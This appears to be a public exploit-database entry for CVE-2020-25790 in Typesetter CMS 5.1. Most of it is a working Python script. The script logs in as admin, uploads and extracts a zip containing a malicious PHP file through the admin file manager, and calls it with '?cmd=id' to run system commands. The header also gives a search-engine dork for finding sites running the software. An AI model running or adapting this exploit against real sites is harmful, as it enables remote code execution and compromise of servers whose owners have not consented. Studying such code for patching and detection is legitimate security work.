1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211 | # Exploit Title: Typesetter CMS 5.1 - Arbitrary Code Execution
# Exploit Author: Rodolfo "t0gu" Tavares
# Contact: @t0guu (TW)
# Software Homepage: https://www.typesettercms.com/
# Version : 5.1
# Tested on: Linux / Apache
# Category: WebApp
# Google Dork: intext:"Powered by Typesetter"
# Date: 2020-09-29
# CVE : CVE-2020-25790
######## Description ########
#
# The CMS Typesetter has functionality (web interface) where it is possible
# through an account with privileges to perform uploads. Through this
# functionality, it is possible to upload a .zip file that contains a
# malicious .php file. In the same functionality, there is also the
# possibility to extract the file through the same web interface, the
# attacker only needs to extract the .zip that was previously loaded and
# click on the malicious .php file to execute commands in the operating
# system.
#
######## Exploit with Poc ########
https://github.com/t0gu/CVE-2020-25790
####### Code #######
# see the poc at https://github.com/t0gu/CVE-2020-25790
import argparse
from bs4 import BeautifulSoup
import requests
import sys
import re
import urllib3
from urllib3.exceptions import InsecureRequestWarning
banner = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗███████╗ █████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔═████╗ ╚════██╗██╔════╝╚════██║██╔══██╗██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝██║██╔██║█████╗ █████╔╝███████╗ ██╔╝╚██████║██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ████╔╝██║╚════╝██╔═══╝ ╚════██║ ██╔╝ ╚═══██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ███████╗███████║ ██║ █████╔╝╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚════╝ ╚═════╝
by: t0gu
usage: main.py [-h] -p PASSWORD -l LOGIN -u URL
==> Exploit for CVE 2020-25790
optional arguments:
-h, --help show this help message and exit
-p PASSWORD, --password PASSWORD
==> admin password
-l LOGIN, --login LOGIN
==> admin login
-u URL, --url URL ==> main URL
"""
print(banner)
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
menu.add_argument("-p", "--password", required=True, help="==> admin password")
menu.add_argument("-l", "--login", required=True, help="==> admin login")
menu.add_argument("-u", "--url", required=True, help="==> main URL")
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
args = menu.parse_args()
login = args.login
password = args.password
url = args.url
file = args.file
PROXIES = proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080",
}
class Exploit:
def __init__(self, login, password, url, file):
self.login = login
self.password = password
self.url = url
self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
self.file = open(file, 'rb')
def get_nounce(self):
try:
url = self.url + "/Admin"
r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
data = r.text
soap_obj = BeautifulSoup(data, 'html.parser')
for inp in soap_obj.find_all("input"):
for v in inp:
nounce = v['value']
if nounce != None or nounce != "":
return nounce
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_hash_folders(self):
cookie_auth = self.get_cookies()
hash_verified = self.get_verified()
data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
try:
url = self.url + "/Admin_Finder"
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
json_data = r.json()
hash_dir = json_data['files'][2]['hash']
return hash_dir
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_cookies(self):
nounce = self.get_nounce()
if nounce:
try:
url = self.url + "/Admin"
data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
'remember': 'on', 'verified': ''}
r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
cookie_admin = r.headers['Set-Cookie']
cookie_name = cookie_admin.split(':')[0].split('=')[0]
cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]
if cookie_name == None or cookie_name == "":
if cookie_value == None or cookie_value == "":
print("==> Something went wrong while login")
else:
data = f"{cookie_name}={cookie_value};"
return data
except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
print(f'==> Error while login {e}')
def upload_zip(self):
url = self.url + '/Admin_Finder'
hash_verified = self.get_verified()
hash_dir = self.get_hash_folders()
auth_cookie = self.get_cookies()
try:
print(f"==> Uploading file: {self.file}")
data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
r = requests.post(url=url, verify=False, timeout=10,
headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
hash_file = r.json()['added'][0]['hash']
self.extract_file(auth_cookie, hash_file, hash_verified)
except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
print(f"==> Error while uploading {e}")
def extract_file(self, auth_cookie, hash_file, hash_verified):
data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
try:
url = self.url + "/Admin_Finder"
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
name_file = r.json()['added'][0]['name']
print(f"==> All Hashes are collected from: {name_file}")
self.xpl(auth_cookie,name_file)
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def xpl(self, auth_cookie, name_file):
try:
url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
new_url = url.replace("index.php", "")
print(f"==> Try to exploit: {new_url}")
r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
pattern = r'<pre>(.*?)</pre>'
m = re.search(pattern, r.text.replace("\n", ""))
if m is not None and m != "":
print(f"==> Vulnerable: {m.group(1)}")
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_verified(self):
try:
url = self.url + "/Admin/Uploaded"
auth_cookie = self.get_cookies()
r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
data = r.text
pattern_regex = r'"verified":"(.*)"}'
m = re.search(pattern_regex, data)
if m is not None or m != "":
return m.group(1)
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
if __name__ == "__main__":
obj = Exploit(login, password, url, file)
obj.upload_zip()
|